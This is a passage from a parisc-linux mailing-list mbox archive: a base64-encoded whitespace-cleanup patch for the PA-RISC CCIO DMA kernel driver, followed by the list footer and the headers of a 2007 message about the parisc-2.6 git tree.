dmdfc2VhcmNoICovCiAjZW5kaWYKICNpZmRlZiBDQ0lPX01BUF9TVEFUUwotCXVuc2lnbmVk
IGxvbmcgdXNlZF9wYWdlczsKLQl1bnNpZ25lZCBsb25nIG1zaW5nbGVfY2FsbHM7Ci0JdW5z
aWduZWQgbG9uZyBtc2luZ2xlX3BhZ2VzOwotCXVuc2lnbmVkIGxvbmcgbXNnX2NhbGxzOwot
CXVuc2lnbmVkIGxvbmcgbXNnX3BhZ2VzOwotCXVuc2lnbmVkIGxvbmcgdXNpbmdsZV9jYWxs
czsKLQl1bnNpZ25lZCBsb25nIHVzaW5nbGVfcGFnZXM7Ci0JdW5zaWduZWQgbG9uZyB1c2df
Y2FsbHM7Ci0JdW5zaWduZWQgbG9uZyB1c2dfcGFnZXM7CisJdW5zaWduZWQgbG9uZwl1c2Vk
X3BhZ2VzOworCXVuc2lnbmVkIGxvbmcJbXNpbmdsZV9jYWxsczsKKwl1bnNpZ25lZCBsb25n
CW1zaW5nbGVfcGFnZXM7CisJdW5zaWduZWQgbG9uZwltc2dfY2FsbHM7CisJdW5zaWduZWQg
bG9uZwltc2dfcGFnZXM7CisJdW5zaWduZWQgbG9uZwl1c2luZ2xlX2NhbGxzOworCXVuc2ln
bmVkIGxvbmcJdXNpbmdsZV9wYWdlczsKKwl1bnNpZ25lZCBsb25nCXVzZ19jYWxsczsKKwl1
bnNpZ25lZCBsb25nCXVzZ19wYWdlczsKICNlbmRpZgotCXVuc2lnbmVkIHNob3J0IGN1am8y
MF9idWc7CisJdW5zaWduZWQgc2hvcnQJY3VqbzIwX2J1ZzsKIAogCS8qIFNUVUZGIFdlIGRv
bid0IG5lZWQgaW4gcGVyZm9ybWFuY2UgcGF0aCAqLwotCXUzMiBjaGFpbmlkX3NoaWZ0OyAJ
CS8qIHNwZWNpZnkgYml0IGxvY2F0aW9uIG9mIGNoYWluX2lkICovCi0Jc3RydWN0IGlvYyAq
bmV4dDsJCS8qIExpbmtlZCBsaXN0IG9mIGRpc2NvdmVyZWQgaW9jcyAqLwotCWNvbnN0IGNo
YXIgKm5hbWU7CQkvKiBkZXZpY2UgbmFtZSBmcm9tIGZpcm13YXJlICovCi0JdW5zaWduZWQg
aW50IGh3X3BhdGg7ICAgICAgICAgICAvKiB0aGUgaGFyZHdhcmUgcGF0aCB0aGlzIGlvYyBp
cyBhc3NvY2lhdGQgd2l0aCAqLwotCXN0cnVjdCBwY2lfZGV2ICpmYWtlX3BjaV9kZXY7ICAg
LyogdGhlIGZha2UgcGNpX2RldiBmb3Igbm9uLXBjaSBkZXZzICovCi0Jc3RydWN0IHJlc291
cmNlIG1taW9fcmVnaW9uWzJdOyAvKiBUaGUgInJvdXRlZCIgTU1JTyByZWdpb25zICovCisJ
dTMyCQljaGFpbmlkX3NoaWZ0OwkvKiBzcGVjaWZ5IGJpdCBsb2NhdGlvbiBvZiBjaGFpbl9p
ZCAqLworCXN0cnVjdCBpb2MJKm5leHQ7CQkvKiBMaW5rZWQgbGlzdCBvZiBkaXNjb3ZlcmVk
IGlvY3MgKi8KKwljb25zdCBjaGFyCSpuYW1lOwkJLyogZGV2aWNlIG5hbWUgZnJvbSBmaXJt
d2FyZSAqLworCXVuc2lnbmVkIGludAlod19wYXRoOwkvKiB0aGUgaGFyZHdhcmUgcGF0aCB0
aGlzIGlvYyBpcyBhc3NvY2lhdGQgd2l0aCAqLworCXN0cnVjdCBwY2lfZGV2CSpmYWtlX3Bj
aV9kZXY7CS8qIHRoZSBmYWtlIHBjaV9kZXYgZm9yIG5vbi1wY2kgZGV2cyAqLworCXN0cnVj
dCByZXNvdXJjZQltbWlvX3JlZ2lvblsyXTsJLyogVGhlICJyb3V0ZWQiIE1NSU8gcmVnaW9u
cyAqLwogfTsKIAogc3RhdGljIHN0cnVjdCBpb2MgKmlvY19saXN0OwpAQCAtMjgyLDE3ICsy
ODIsMTcgQEAKICogICBtYXRjaCB0aGUgSS9PIFRMQiByZXBsYWNlbWVudCBwb2xpY3kuCiAq
CiAqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKiovCi0jZGVmaW5lIElPVlBfU0laRSBQQUdFX1NJWkUKLSNkZWZpbmUgSU9W
UF9TSElGVCBQQUdFX1NISUZUCi0jZGVmaW5lIElPVlBfTUFTSyBQQUdFX01BU0sKKyNkZWZp
bmUgSU9WUF9TSVpFCVBBR0VfU0laRQorI2RlZmluZSBJT1ZQX1NISUZUCVBBR0VfU0hJRlQK
KyNkZWZpbmUgSU9WUF9NQVNLCVBBR0VfTUFTSwogCiAvKiBDb252ZXJ0IGZyb20gSU9WUCB0
byBJT1ZBIGFuZCB2aWNlIHZlcnNhLiAqLwotI2RlZmluZSBDQ0lPX0lPVkEoaW92cCxvZmZz
ZXQpICgoaW92cCkgfCAob2Zmc2V0KSkKLSNkZWZpbmUgQ0NJT19JT1ZQKGlvdmEpICgoaW92
YSkgJiBJT1ZQX01BU0spCisjZGVmaW5lIENDSU9fSU9WQShpb3ZwLG9mZnNldCkJKChpb3Zw
KSB8IChvZmZzZXQpKQorI2RlZmluZSBDQ0lPX0lPVlAoaW92YSkJCSgoaW92YSkgJiBJT1ZQ
X01BU0spCiAKLSNkZWZpbmUgUERJUl9JTkRFWChpb3ZwKSAgICAoKGlvdnApPj5JT1ZQX1NI
SUZUKQotI2RlZmluZSBNS0lPVlAocGRpcl9pZHgpICAgICgobG9uZykocGRpcl9pZHgpIDw8
IElPVlBfU0hJRlQpCi0jZGVmaW5lIE1LSU9WQShpb3ZwLG9mZnNldCkgKGRtYV9hZGRyX3Qp
KChsb25nKWlvdnAgfCAobG9uZylvZmZzZXQpCisjZGVmaW5lIFBESVJfSU5ERVgoaW92cCkJ
KChpb3ZwKT4+SU9WUF9TSElGVCkKKyNkZWZpbmUgTUtJT1ZQKHBkaXJfaWR4KQkoKGxvbmcp
KHBkaXJfaWR4KSA8PCBJT1ZQX1NISUZUKQorI2RlZmluZSBNS0lPVkEoaW92cCxvZmZzZXQp
CShkbWFfYWRkcl90KSgobG9uZylpb3ZwIHwgKGxvbmcpb2Zmc2V0KQogCiAvKgogKiogRG9u
J3Qgd29ycnkgYWJvdXQgdGhlIDE1MCUgYXZlcmFnZSBzZWFyY2ggbGVuZ3RoIG9uIGEgbWlz
cy4KQEAgLTM1MCw4ICszNTAsOCBAQAogCQogCUJVR19PTihwYWdlc19uZWVkZWQgPT0gMCk7
CiAJQlVHX09OKChwYWdlc19uZWVkZWQgKiBJT1ZQX1NJWkUpID4gRE1BX0NIVU5LX1NJWkUp
OwotICAgICAKLQlEQkdfUkVTKCIlcygpIHNpemU6ICVkIHBhZ2VzX25lZWRlZCAlZFxuIiwg
CisKKwlEQkdfUkVTKCIlcygpIHNpemU6ICVkIHBhZ2VzX25lZWRlZCAlZFxuIiwKIAkJX19G
VU5DVElPTl9fLCBzaXplLCBwYWdlc19uZWVkZWQpOwogCiAJLyoKQEAgLTQwOSw3ICs0MDks
NyBAQAogI2lmZGVmIENDSU9fTUFQX1NUQVRTCiAJaW9jLT51c2VkX3BhZ2VzICs9IHBhZ2Vz
X25lZWRlZDsKICNlbmRpZgotCS8qIAorCS8qCiAJKiogcmV0dXJuIHRoZSBiaXQgYWRkcmVz
cy4KIAkqLwogCXJldHVybiByZXNfaWR4IDw8IDM7CkBAIC00MzksNyArNDM5LDcgQEAKIAlC
VUdfT04oKHBhZ2VzX21hcHBlZCAqIElPVlBfU0laRSkgPiBETUFfQ0hVTktfU0laRSk7CiAJ
QlVHX09OKHBhZ2VzX21hcHBlZCA+IEJJVFNfUEVSX0xPTkcpOwogCi0JREJHX1JFUygiJXMo
KTogIHJlc19pZHg6ICVkIHBhZ2VzX21hcHBlZCAlZFxuIiwgCisJREJHX1JFUygiJXMoKTog
IHJlc19pZHg6ICVkIHBhZ2VzX21hcHBlZCAlZFxuIiwKIAkJX19GVU5DVElPTl9fLCByZXNf
aWR4LCBwYWdlc19tYXBwZWQpOwogCiAjaWZkZWYgQ0NJT19NQVBfU1RBVFMKQEAgLTQ3OCw3
ICs0NzgsNyBAQAogI2RlZmluZSBLRVJORUxfU1BBQ0UgMAogCiAvKgotKiogRE1BICJQYWdl
IFR5cGUiIGFuZCBIaW50cyAKKyoqIERNQSAiUGFnZSBUeXBlIiBhbmQgSGludHMKICoqIG8g
aWYgU0FGRV9ETUEgaXNuJ3Qgc2V0LCBtYXBwaW5nIGlzIGZvciBGQVNUX0RNQS4gU0FGRV9E
TUEgc2hvdWxkIGJlCiAqKiAgIHNldCBmb3Igc3ViY2FjaGVsaW5lIERNQSB0cmFuc2ZlcnMg
c2luY2Ugd2UgZG9uJ3Qgd2FudCB0byBkYW1hZ2UgdGhlCiAqKiAgIG90aGVyIHBhcnQgb2Yg
YSBjYWNoZWxpbmUuCkBAIC00OTcsNyArNDk3LDcgQEAKICoqICAgYW5kIEludmFsaWRhdGlv
biBvZiBQcmVmZXRjaCBFbnRyaWVzIi4KICoqCiAqKiBGSVhNRTogdGhlIGRlZmF1bHQgaGlu
dHMgbmVlZCB0byBiZSBwZXIgR1NDIGRldmljZSAtIG5vdCBnbG9iYWwuCi0qKiAKKyoqCiAq
KiBIUC1VWCBkb3JrczogbGludXggZGV2aWNlIGRyaXZlciBwcm9ncmFtbWluZyBtb2RlbCBp
cyB0b3RhbGx5IGRpZmZlcmVudAogKiogICAgdGhhbiBIUC1VWCdzLiBIUC1VWCBhbHdheXMg
c2V0cyBISU5UX1BSRUZFVENIIHNpbmNlIGl0J3MgZHJpdmVycwogKiogICAgZG8gc3BlY2lh
bCB0aGluZ3MgdG8gd29yayBvbiBub24tY29oZXJlbnQgcGxhdGZvcm1zLi4ubGludXggaGFz
IHRvCkBAIC01NTMsNyArNTUzLDcgQEAKICAqIFRoZSB2aXJ0dWFsIGluZGV4IGZpZWxkIGlz
IGZpbGxlZCB3aXRoIHRoZSByZXN1bHRzIG9mIHRoZSBMQ0kKICAqIChMb2FkIENvaGVyZW5j
ZSBJbmRleCkgaW5zdHJ1Y3Rpb24uICBUaGUgOCBiaXRzIHVzZWQgZm9yIHRoZSB2aXJ0dWFs
CiAgKiBpbmRleCBhcmUgYml0cyAxMjoxOSBvZiB0aGUgdmFsdWUgcmV0dXJuZWQgYnkgTENJ
LgotICovIAorICovCiB2b2lkIENDSU9fSU5MSU5FCiBjY2lvX2lvX3BkaXJfZW50cnkodTY0
ICpwZGlyX3B0ciwgc3BhY2VfdCBzaWQsIHVuc2lnbmVkIGxvbmcgdmJhLAogCQkgICB1bnNp
Z25lZCBsb25nIGhpbnRzKQpAQCAtNjYwLDcgKzY2MCw3IEBACiAgKiAgICAgICAgKFdlIGRv
IG5lZWQgdG8gbWFrZXIgSS9PIFBESVIgZW50cmllcyBpbnZhbGlkIHJlZ2FyZGxlc3MpLgog
ICoKICAqIEZJWE1FOiBDYW4gd2UgY2hhbmdlIGJ5dGVfY250IHRvIHBhZ2VzX21hcHBlZD8K
LSAqLyAKKyAqLwogc3RhdGljIENDSU9fSU5MSU5FIHZvaWQKIGNjaW9fbWFya19pbnZhbGlk
KHN0cnVjdCBpb2MgKmlvYywgZG1hX2FkZHJfdCBpb3ZhLCBzaXplX3QgYnl0ZV9jbnQpCiB7
CkBAIC02NzYsNyArNjc2LDcgQEAKIAkJY2hhciAqcGRpcl9wdHIgPSAoY2hhciAqKSAmKGlv
Yy0+cGRpcl9iYXNlW2lkeF0pOwogCiAJCUJVR19PTihpZHggPj0gKGlvYy0+cGRpcl9zaXpl
IC8gc2l6ZW9mKHU2NCkpKTsKLQkJcGRpcl9wdHJbN10gPSAwOwkvKiBjbGVhciBvbmx5IFZB
TElEIGJpdCAqLyAKKwkJcGRpcl9wdHJbN10gPSAwOwkvKiBjbGVhciBvbmx5IFZBTElEIGJp
dCAqLwogCQkvKgogCQkqKiBGSVhNRTogUENYX1cgcGxhdGZvcm1zIGRvbid0IG5lZWQgRkRD
L1NZTkMuIChlZyBDMzYwKQogCQkqKiAgIFBDWC1VL1UrIGRvLiAoZWcgQzIwMC9DMjQwKQpA
QCAtNzA4LDcgKzcwOCw3IEBACiAgKgogICogVGhpcyBmdW5jdGlvbiBpbXBsZW1lbnRzIHRo
ZSBwY2lfZG1hX3N1cHBvcnRlZCBmdW5jdGlvbi4KICAqLwotc3RhdGljIGludCAKK3N0YXRp
YyBpbnQKIGNjaW9fZG1hX3N1cHBvcnRlZChzdHJ1Y3QgZGV2aWNlICpkZXYsIHU2NCBtYXNr
KQogewogCWlmKGRldiA9PSBOVUxMKSB7CkBAIC03MzAsNyArNzMwLDcgQEAKICAqCiAgKiBU
aGlzIGZ1bmN0aW9uIGltcGxlbWVudHMgdGhlIHBjaV9tYXBfc2luZ2xlIGZ1bmN0aW9uLgog
ICovCi1zdGF0aWMgZG1hX2FkZHJfdCAKK3N0YXRpYyBkbWFfYWRkcl90CiBjY2lvX21hcF9z
aW5nbGUoc3RydWN0IGRldmljZSAqZGV2LCB2b2lkICphZGRyLCBzaXplX3Qgc2l6ZSwKIAkJ
ZW51bSBkbWFfZGF0YV9kaXJlY3Rpb24gZGlyZWN0aW9uKQogewpAQCAtNzk4LDEyICs3OTgs
MTIgQEAKICAqCiAgKiBUaGlzIGZ1bmN0aW9uIGltcGxlbWVudHMgdGhlIHBjaV91bm1hcF9z
aW5nbGUgZnVuY3Rpb24uCiAgKi8KLXN0YXRpYyB2b2lkIAotY2Npb191bm1hcF9zaW5nbGUo
c3RydWN0IGRldmljZSAqZGV2LCBkbWFfYWRkcl90IGlvdmEsIHNpemVfdCBzaXplLCAKK3N0
YXRpYyB2b2lkCitjY2lvX3VubWFwX3NpbmdsZShzdHJ1Y3QgZGV2aWNlICpkZXYsIGRtYV9h
ZGRyX3QgaW92YSwgc2l6ZV90IHNpemUsCiAJCSAgZW51bSBkbWFfZGF0YV9kaXJlY3Rpb24g
ZGlyZWN0aW9uKQogewogCXN0cnVjdCBpb2MgKmlvYzsKLQl1bnNpZ25lZCBsb25nIGZsYWdz
OyAKKwl1bnNpZ25lZCBsb25nIGZsYWdzOwogCWRtYV9hZGRyX3Qgb2Zmc2V0ID0gaW92YSAm
IH5JT1ZQX01BU0s7CiAJCiAJQlVHX09OKCFkZXYpOwpAQCAtODM2LDcgKzgzNiw3IEBACiAg
KgogICogVGhpcyBmdW5jdGlvbiBpbXBsZW1lbnRzIHRoZSBwY2lfYWxsb2NfY29uc2lzdGVu
dCBmdW5jdGlvbi4KICAqLwotc3RhdGljIHZvaWQgKiAKK3N0YXRpYyB2b2lkICoKIGNjaW9f
YWxsb2NfY29uc2lzdGVudChzdHJ1Y3QgZGV2aWNlICpkZXYsIHNpemVfdCBzaXplLCBkbWFf
YWRkcl90ICpkbWFfaGFuZGxlLCBnZnBfdCBmbGFnKQogewogICAgICAgdm9pZCAqcmV0OwpA
QCAtODY5LDggKzg2OSw4IEBACiAgKgogICogVGhpcyBmdW5jdGlvbiBpbXBsZW1lbnRzIHRo
ZSBwY2lfZnJlZV9jb25zaXN0ZW50IGZ1bmN0aW9uLgogICovCi1zdGF0aWMgdm9pZCAKLWNj
aW9fZnJlZV9jb25zaXN0ZW50KHN0cnVjdCBkZXZpY2UgKmRldiwgc2l6ZV90IHNpemUsIHZv
aWQgKmNwdV9hZGRyLCAKK3N0YXRpYyB2b2lkCitjY2lvX2ZyZWVfY29uc2lzdGVudChzdHJ1
Y3QgZGV2aWNlICpkZXYsIHNpemVfdCBzaXplLCB2b2lkICpjcHVfYWRkciwKIAkJICAgICBk
bWFfYWRkcl90IGRtYV9oYW5kbGUpCiB7CiAJY2Npb191bm1hcF9zaW5nbGUoZGV2LCBkbWFf
aGFuZGxlLCBzaXplLCAwKTsKQEAgLTg5OSw3ICs4OTksNyBAQAogICogVGhpcyBmdW5jdGlv
biBpbXBsZW1lbnRzIHRoZSBwY2lfbWFwX3NnIGZ1bmN0aW9uLgogICovCiBzdGF0aWMgaW50
Ci1jY2lvX21hcF9zZyhzdHJ1Y3QgZGV2aWNlICpkZXYsIHN0cnVjdCBzY2F0dGVybGlzdCAq
c2dsaXN0LCBpbnQgbmVudHMsIAorY2Npb19tYXBfc2coc3RydWN0IGRldmljZSAqZGV2LCBz
dHJ1Y3Qgc2NhdHRlcmxpc3QgKnNnbGlzdCwgaW50IG5lbnRzLAogCSAgICBlbnVtIGRtYV9k
YXRhX2RpcmVjdGlvbiBkaXJlY3Rpb24pCiB7CiAJc3RydWN0IGlvYyAqaW9jOwpAQCAtOTQ3
LDcgKzk0Nyw3IEBACiAJKioKIAkqKiBtYXAgdGhlIHZpcnR1YWwgYWRkcmVzc2VzIHRvIHRo
ZSBJL08gUGRpcgogCSoqIG8gZG1hX2FkZHJlc3Mgd2lsbCBjb250YWluIHRoZSBwZGlyIGlu
ZGV4Ci0JKiogbyBkbWFfbGVuIHdpbGwgY29udGFpbiB0aGUgbnVtYmVyIG9mIGJ5dGVzIHRv
IG1hcCAKKwkqKiBvIGRtYV9sZW4gd2lsbCBjb250YWluIHRoZSBudW1iZXIgb2YgYnl0ZXMg
dG8gbWFwCiAJKiogbyBwYWdlL29mZnNldCBjb250YWluIHRoZSB2aXJ0dWFsIGFkZHJlc3Mu
CiAJKi8KIAlmaWxsZWQgPSBpb21tdV9maWxsX3BkaXIoaW9jLCBzZ2xpc3QsIG5lbnRzLCBo
aW50LCBjY2lvX2lvX3BkaXJfZW50cnkpOwpAQCAtOTc1LDggKzk3NSw4IEBACiAgKgogICog
VGhpcyBmdW5jdGlvbiBpbXBsZW1lbnRzIHRoZSBwY2lfdW5tYXBfc2cgZnVuY3Rpb24uCiAg
Ki8KLXN0YXRpYyB2b2lkIAotY2Npb191bm1hcF9zZyhzdHJ1Y3QgZGV2aWNlICpkZXYsIHN0
cnVjdCBzY2F0dGVybGlzdCAqc2dsaXN0LCBpbnQgbmVudHMsIAorc3RhdGljIHZvaWQKK2Nj
aW9fdW5tYXBfc2coc3RydWN0IGRldmljZSAqZGV2LCBzdHJ1Y3Qgc2NhdHRlcmxpc3QgKnNn
bGlzdCwgaW50IG5lbnRzLAogCSAgICAgIGVudW0gZG1hX2RhdGFfZGlyZWN0aW9uIGRpcmVj
dGlvbikKIHsKIAlzdHJ1Y3QgaW9jICppb2M7CkBAIC0xMDE2LDcgKzEwMTYsNyBAQAogCS5k
bWFfc3luY19zaW5nbGVfZm9yX2NwdSA9CU5VTEwsCS8qIE5PUCBmb3IgVTIvVXR1cm4gKi8K
IAkuZG1hX3N5bmNfc2luZ2xlX2Zvcl9kZXZpY2UgPQlOVUxMLAkvKiBOT1AgZm9yIFUyL1V0
dXJuICovCiAJLmRtYV9zeW5jX3NnX2Zvcl9jcHUgPQkJTlVMTCwJLyogZGl0dG8gKi8KLQku
ZG1hX3N5bmNfc2dfZm9yX2RldmljZSA9CQlOVUxMLAkvKiBkaXR0byAqLworCS5kbWFfc3lu
Y19zZ19mb3JfZGV2aWNlID0JTlVMTCwJLyogZGl0dG8gKi8KIH07CiAKICNpZmRlZiBDT05G
SUdfUFJPQ19GUwpAQCAtMTA0NCwxNiArMTA0NCwxNiBAQAogCQkJCSAgKGludCkoaW9jLT51
c2VkX3BhZ2VzICogMTAwIC8gdG90YWxfcGFnZXMpKTsKICNlbmRpZgogCi0JCWxlbiArPSBz
ZXFfcHJpbnRmKG0sICJSZXNvdXJjZSBiaXRtYXAgOiAlZCBieXRlcyAoJWQgcGFnZXMpXG4i
LCAKKwkJbGVuICs9IHNlcV9wcmludGYobSwgIlJlc291cmNlIGJpdG1hcCA6ICVkIGJ5dGVz
ICglZCBwYWdlcylcbiIsCiAJCQkJICBpb2MtPnJlc19zaXplLCB0b3RhbF9wYWdlcyk7CiAK
ICNpZmRlZiBDQ0lPX1NFQVJDSF9USU1FCiAJCW1pbiA9IG1heCA9IGlvYy0+YXZnX3NlYXJj
aFswXTsKIAkJZm9yKGogPSAwOyBqIDwgQ0NJT19TRUFSQ0hfU0FNUExFOyArK2opIHsKIAkJ
CWF2ZyArPSBpb2MtPmF2Z19zZWFyY2hbal07Ci0JCQlpZihpb2MtPmF2Z19zZWFyY2hbal0g
PiBtYXgpIAorCQkJaWYoaW9jLT5hdmdfc2VhcmNoW2pdID4gbWF4KQogCQkJCW1heCA9IGlv
Yy0+YXZnX3NlYXJjaFtqXTsKLQkJCWlmKGlvYy0+YXZnX3NlYXJjaFtqXSA8IG1pbikgCisJ
CQlpZihpb2MtPmF2Z19zZWFyY2hbal0gPCBtaW4pCiAJCQkJbWluID0gaW9jLT5hdmdfc2Vh
cmNoW2pdOwogCQl9CiAJCWF2ZyAvPSBDQ0lPX1NFQVJDSF9TQU1QTEU7CkBAIC0xMDcwLDcg
KzEwNzAsNyBAQAogCQltYXggPSBpb2MtPnVzaW5nbGVfcGFnZXMgLSBpb2MtPnVzZ19wYWdl
czsKIAkJbGVuICs9IHNlcV9wcmludGYobSwgInBjaV91bm1hcF9zaW5nbGU6ICU4bGQgY2Fs
bHMgICU4bGQgcGFnZXMgKGF2ZyAlZC8xMDAwKVxuIiwKIAkJCQkgIG1pbiwgbWF4LCAoaW50
KSgobWF4ICogMTAwMCkvbWluKSk7Ci0gCisKIAkJbGVuICs9IHNlcV9wcmludGYobSwgInBj
aV9tYXBfc2coKSAgICA6ICU4bGQgY2FsbHMgICU4bGQgcGFnZXMgKGF2ZyAlZC8xMDAwKVxu
IiwKIAkJCQkgIGlvYy0+bXNnX2NhbGxzLCBpb2MtPm1zZ19wYWdlcywKIAkJCQkgIChpbnQp
KChpb2MtPm1zZ19wYWdlcyAqIDEwMDApL2lvYy0+bXNnX2NhbGxzKSk7CkBAIC0xMzEwLDcg
KzEzMTAsNyBAQAogCQkJaW92YV9zcGFjZV9zaXplPj4yMCwKIAkJCWlvdl9vcmRlciArIFBB
R0VfU0hJRlQpOwogCi0JaW9jLT5wZGlyX2Jhc2UgPSAodTY0ICopX19nZXRfZnJlZV9wYWdl
cyhHRlBfS0VSTkVMLCAKKwlpb2MtPnBkaXJfYmFzZSA9ICh1NjQgKilfX2dldF9mcmVlX3Bh
Z2VzKEdGUF9LRVJORUwsCiAJCQkJCQkgZ2V0X29yZGVyKGlvYy0+cGRpcl9zaXplKSk7CiAJ
aWYoTlVMTCA9PSBpb2MtPnBkaXJfYmFzZSkgewogCQlwYW5pYygiJXMoKSBjb3VsZCBub3Qg
YWxsb2NhdGUgSS9PIFBhZ2UgVGFibGVcbiIsIF9fRlVOQ1RJT05fXyk7CkBAIC0xMzI0LDcg
KzEzMjQsNyBAQAogIAlpb2MtPnJlc19zaXplID0gKGlvYy0+cGRpcl9zaXplIC8gc2l6ZW9m
KHU2NCkpID4+IDM7CiAJREJHX0lOSVQoIiVzKCkgcmVzX3NpemUgMHgleFxuIiwgX19GVU5D
VElPTl9fLCBpb2MtPnJlc19zaXplKTsKIAkKLQlpb2MtPnJlc19tYXAgPSAodTggKilfX2dl
dF9mcmVlX3BhZ2VzKEdGUF9LRVJORUwsIAorCWlvYy0+cmVzX21hcCA9ICh1OCAqKV9fZ2V0
X2ZyZWVfcGFnZXMoR0ZQX0tFUk5FTCwKIAkJCQkJICAgICAgZ2V0X29yZGVyKGlvYy0+cmVz
X3NpemUpKTsKIAlpZihOVUxMID09IGlvYy0+cmVzX21hcCkgewogCQlwYW5pYygiJXMoKSBj
b3VsZCBub3QgYWxsb2NhdGUgcmVzb3VyY2UgbWFwXG4iLCBfX0ZVTkNUSU9OX18pOwpAQCAt
MTM0NywxMCArMTM0NywxMCBAQAogCS8qCiAJKiogSW5pdGlhbGl6ZSBJT0EgaGFyZHdhcmUK
IAkqLwotCVdSSVRFX1UzMihDQ0lPX0NIQUlOSURfTUFTSyA8PCBpb2MtPmNoYWluaWRfc2hp
ZnQsIAorCVdSSVRFX1UzMihDQ0lPX0NIQUlOSURfTUFTSyA8PCBpb2MtPmNoYWluaWRfc2hp
ZnQsCiAJCSAgJmlvYy0+aW9jX3JlZ3MtPmlvX2NoYWluX2lkX21hc2spOwogCi0JV1JJVEVf
VTMyKHZpcnRfdG9fcGh5cyhpb2MtPnBkaXJfYmFzZSksIAorCVdSSVRFX1UzMih2aXJ0X3Rv
X3BoeXMoaW9jLT5wZGlyX2Jhc2UpLAogCQkgICZpb2MtPmlvY19yZWdzLT5pb19wZGlyX2Jh
c2UpOwogCiAJLyoKQEAgLTEzOTgsNyArMTM5OCw3IEBACiAJICovCiAJcmVzdWx0ID0gaW5z
ZXJ0X3Jlc291cmNlKCZpb21lbV9yZXNvdXJjZSwgcmVzKTsKIAlpZiAocmVzdWx0IDwgMCkg
ewotCQlwcmludGsoS0VSTl9FUlIgIiVzKCkgZmFpbGVkIHRvIGNsYWltIENDSU8gYnVzIGFk
ZHJlc3Mgc3BhY2UgKCUwOGx4LCUwOGx4KVxuIiwgCisJCXByaW50ayhLRVJOX0VSUiAiJXMo
KSBmYWlsZWQgdG8gY2xhaW0gQ0NJTyBidXMgYWRkcmVzcyBzcGFjZSAoJTA4bHgsJTA4bHgp
XG4iLAogCSAJCV9fRlVOQ1RJT05fXywgcmVzLT5zdGFydCwgcmVzLT5lbmQpOwogCX0KIH0K

--_=__=_XaM3_.1192518220.2A.536422.42.25527.52.42.007.1245584270
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--_=__=_XaM3_.1192518220.2A.536422.42.25527.52.42.007.1245584270--



From - Thu Nov 08 21:36:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] what's in parisc-2.6.git
Date: Thu, 18 Oct 2007 04:29:53 -0400
Lines: 53
Approved: news@gmane.org
Message-ID: <20071018082953.GB16148__12542.1542594724$1416624445$gmane$org@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624445 25355 80.91.229.3 (22 Nov 2014 02:47:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: akpm@linux-foundation.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Oct 2007 17:05:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx097) with SMTP; 18 Oct 2007 19:05:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 67D4B7E8F3;
	Thu, 18 Oct 2007 11:05:01 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 3t5GTG1Qzc8j; Thu, 18 Oct 2007 11:05:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 27BAD7E91A;
	Thu, 18 Oct 2007 10:52:08 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 69E137E47D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Oct 2007 02:30:08 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id df3aq2cWkklM for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Oct 2007 02:29:55 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id BD4FF7E475
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Oct 2007 02:29:55 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id A295B5840BB;
	Thu, 18 Oct 2007 04:29:54 -0400 (EDT)
Original-Received: from fattire.cabal.ca (there.is.no.cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id DFF015840BA;
	Thu, 18 Oct 2007 04:29:53 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 7615D23E02; Thu, 18 Oct 2007 04:29:53 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
